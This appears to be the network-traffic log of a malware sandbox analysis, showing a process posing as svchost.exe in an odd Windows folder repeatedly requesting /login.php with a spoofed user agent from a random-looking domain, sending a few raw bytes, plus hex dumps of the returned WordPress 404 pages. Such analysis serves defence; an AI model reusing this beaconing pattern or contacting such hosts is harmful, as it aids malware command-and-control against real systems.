                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_I+XghzwkUhekaUfxzTYsL/Nygdqm5Gs1Of+YIVLgyQcAcQ1JhANWny26aVdFM480fm4+Byg8l/kb0fCWv9n3VQ==
                                                                                                                                                                                                          set-cookie: parking_session=ad1c2771-2297-4319-96a1-9e173e7d7ea3; expires=Fri, 23 Aug 2024 16:59:06 GMT; path=/
                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 49 2b 58 67 68 7a 77 6b 55 68 65 6b 61 55 66 78 7a 54 59 73 4c 2f 4e 79 67 64 71 6d 35 47 73 31 4f 66 2b 59 49 56 4c 67 79 51 63 41 63 51 31 4a 68 41 4e 57 6e 79 32 36 61 56 64 46 4d 34 38 30 66 6d 34 2b 42 79 67 38 6c 2f 6b 62 30 66 43 57 76 39 6e 33 56 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_I+XghzwkUhekaUfxzTYsL/Nygdqm5Gs1Of+YIVLgyQcAcQ1JhANWny26aVdFM480fm4+Byg8l/kb0fCWv9n3VQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.962538004 CEST867INData Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65
                                                                                                                                                                                                          Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYWQxYzI3NzEtMjI5Ny00MzE5LTk2YTEtOWUxNzNlN2Q3ZWEzIiwicGFnZV90aW1lIjoxNzI0NDMxNDQ2LCJwYWdlX3VybCI6I


                                                                                                                                                                                                          HTTPS Proxied Packets

                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          0192.168.2.549721188.114.96.34435284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-08-23 16:42:14 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-08-23 16:42:14 UTC6OUTData Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          2024-08-23 16:42:16 UTC763INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:16 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eBj5aZVI65kyZDJ%2FFidXbhtn%2B962u%2BE4mvm4If5SGmgioNP3sS2S7XBhsBaCfCOsppletHJ1sKxNw8sEVkSsmqJo3Qhg4UA%2F%2FHLNAmXINOGvKtg4SyrVksPbHLtgUA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c8e02b871c34b-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          2024-08-23 16:42:16 UTC606INData Raw: 37 63 62 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                          Data Ascii: 7cb6<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                          2024-08-23 16:42:16 UTC1369INData Raw: 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f
                                                                                                                                                                                                          Data Ascii: -</title><meta property="og:locale" content="en_US" /><meta property="og:title" content="Page not found -" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://
                                                                                                                                                                                                          2024-08-23 16:42:16 UTC1369INData Raw: 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 2c 72 3d 28 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 6e 2c 30 2c 30 29 2c 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 29 3b 72 65 74 75 72 6e 20 74 2e 65 76 65 72 79
                                                                                                                                                                                                          Data Ascii: ,e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every
                                                                                                                                                                                                          2024-08-23 16:42:16 UTC1369INData Raw: 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 6f 29 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 74 69 6d 65 73 74 61 6d 70 26 26 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74 63 68 28 65
                                                                                                                                                                                                          Data Ascii: nce:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e
                                                                                                                                                                                                          2024-08-23 16:42:16 UTC1369INData Raw: 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69 65 64 2f 6d 61 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 34 2e 33 2e 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 3a 72 6f 6f 74 7b 2d 2d 61 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 64 65 66 61 75 6c 74 2d 78 6c 67 2d 70 61 64 64 69 6e 67 3a 33 65 6d 3b 2d 2d 61 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 64 65 66 61 75 6c 74 2d 6c 67 2d 70 61 64 64 69 6e 67 3a 33 65 6d 3b 2d 2d 61 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 64 65 66 61 75 6c 74
                                                                                                                                                                                                          Data Ascii: ef='https://qegyhig.com/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.3.1' media='all' /><style id='astra-theme-css-inline-css'>:root{--ast-container-default-xlg-padding:3em;--ast-container-default-lg-padding:3em;--ast-container-default
                                                                                                                                                                                                          2024-08-23 16:42:16 UTC1369INData Raw: 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 65 6d 3b 7d 68 33 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 65 6d 3b 7d 68 34 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31
                                                                                                                                                                                                          Data Ascii: ight:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;font-weight:600;line-height:1.25em;}h3,.entry-content h3{font-size:26px;font-size:1.625rem;font-weight:600;line-height:1.2em;}h4,.entry-content h4{font-size:24px;font-size:1.5rem;line-height:1
                                                                                                                                                                                                          2024-08-23 16:42:16 UTC1369INData Raw: 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 6e 65 78 74 7b 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 65 6e 74 72 79 2d 6d 65 74 61 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 2a 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 35 3b 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 68 6f 76 65 72 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 68 6f 76 65 72 20 2a 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 66 6f 63 75 73 2c 2e 65 6e 74 72 79 2d 6d 65 74 61 20 61 3a 66 6f 63 75 73 20 2a 2c 2e 70 61 67 65 2d 6c 69 6e 6b 73 20 3e 20 2e 70 61 67 65 2d 6c 69 6e 6b 2c 2e 70 61
                                                                                                                                                                                                          Data Ascii: d10404;}.single .nav-links .nav-previous,.single .nav-links .nav-next{color:#d10404;}.entry-meta,.entry-meta *{line-height:1.45;color:#d10404;}.entry-meta a:hover,.entry-meta a:hover *,.entry-meta a:focus,.entry-meta a:focus *,.page-links > .page-link,.pa
                                                                                                                                                                                                          2024-08-23 16:42:16 UTC1369INData Raw: 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 6f 63 5f 5f 77 72 61 70 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 61 78 6f 6d 6f 6e 79 2d 62 6f 78 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 61 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6c 61 74 65 73 74 2d 70 6f 73 74 73 20 3e 20 6c 69 20 3e 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f
                                                                                                                                                                                                          Data Ascii: single-post .entry-content .uagb-timeline a,.ast-single-post .entry-content .uagb-toc__wrap a,.ast-single-post .entry-content .uagb-taxomony-box a,.ast-single-post .entry-content .woocommerce a,.entry-content .wp-block-latest-posts > li > a,.ast-single-po
                                                                                                                                                                                                          2024-08-23 16:42:16 UTC1369INData Raw: 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 6e 75 6d 62 65 72 22 5d 3a 66 6f 63 75 73 2c 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 61 72 63 68 5f 5f 69 6e 70 75 74 3a 66 6f 63 75 73 2c 5b 64 61 74 61 2d 73 65 63 74 69 6f 6e 3d 22 73 65 63 74 69 6f 6e 2d 68 65 61 64 65 72 2d 6d 6f 62 69 6c 65 2d 74 72 69 67 67 65
                                                                                                                                                                                                          Data Ascii: ]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="reset"]:focus,input[type="search"]:focus,input[type="number"]:focus,textarea:focus,.wp-block-search__input:focus,[data-section="section-header-mobile-trigge


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          1192.168.2.549723188.114.96.34435284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-08-23 16:42:17 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-08-23 16:42:17 UTC6OUTData Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          2024-08-23 16:42:20 UTC761INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:20 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7JRfeBUh1WIiC1qA5SYFt9n%2BNc867fRUr5wP1ixM6lidfKI3uUWb9WzlaPXKVwcvqHinp3o3gY%2BAjsp0kLy%2F6M7W0fIO8FrWQTbeVwCYpSx7eqGYyBg%2FBbq5xiu1fg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c8e16b95242f8-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          2024-08-23 16:42:20 UTC608INData Raw: 37 63 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                          Data Ascii: 7cb8<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                          2024-08-23 16:42:20 UTC1369INData Raw: 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 71 65
                                                                                                                                                                                                          Data Ascii: </title><meta property="og:locale" content="en_US" /><meta property="og:title" content="Page not found -" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://qe
                                                                                                                                                                                                          2024-08-23 16:42:20 UTC1369INData Raw: 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 2c 72 3d 28 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 6e 2c 30 2c 30 29 2c 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 29 3b 72 65 74 75 72 6e 20 74 2e 65 76 65 72 79 28 66
                                                                                                                                                                                                          Data Ascii: .fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(f
                                                                                                                                                                                                          2024-08-23 16:42:20 UTC1369INData Raw: 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 6f 29 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 74 69 6d 65 73 74 61 6d 70 26 26 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74 63 68 28 65 29 7b
                                                                                                                                                                                                          Data Ascii: e:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){
                                                                                                                                                                                                          2024-08-23 16:42:20 UTC1369INData Raw: 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69 65 64 2f 6d 61 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 34 2e 33 2e 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 3a 72 6f 6f 74 7b 2d 2d 61 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 64 65 66 61 75 6c 74 2d 78 6c 67 2d 70 61 64 64 69 6e 67 3a 33 65 6d 3b 2d 2d 61 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 64 65 66 61 75 6c 74 2d 6c 67 2d 70 61 64 64 69 6e 67 3a 33 65 6d 3b 2d 2d 61 73 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 64 65 66 61 75 6c 74 2d 73
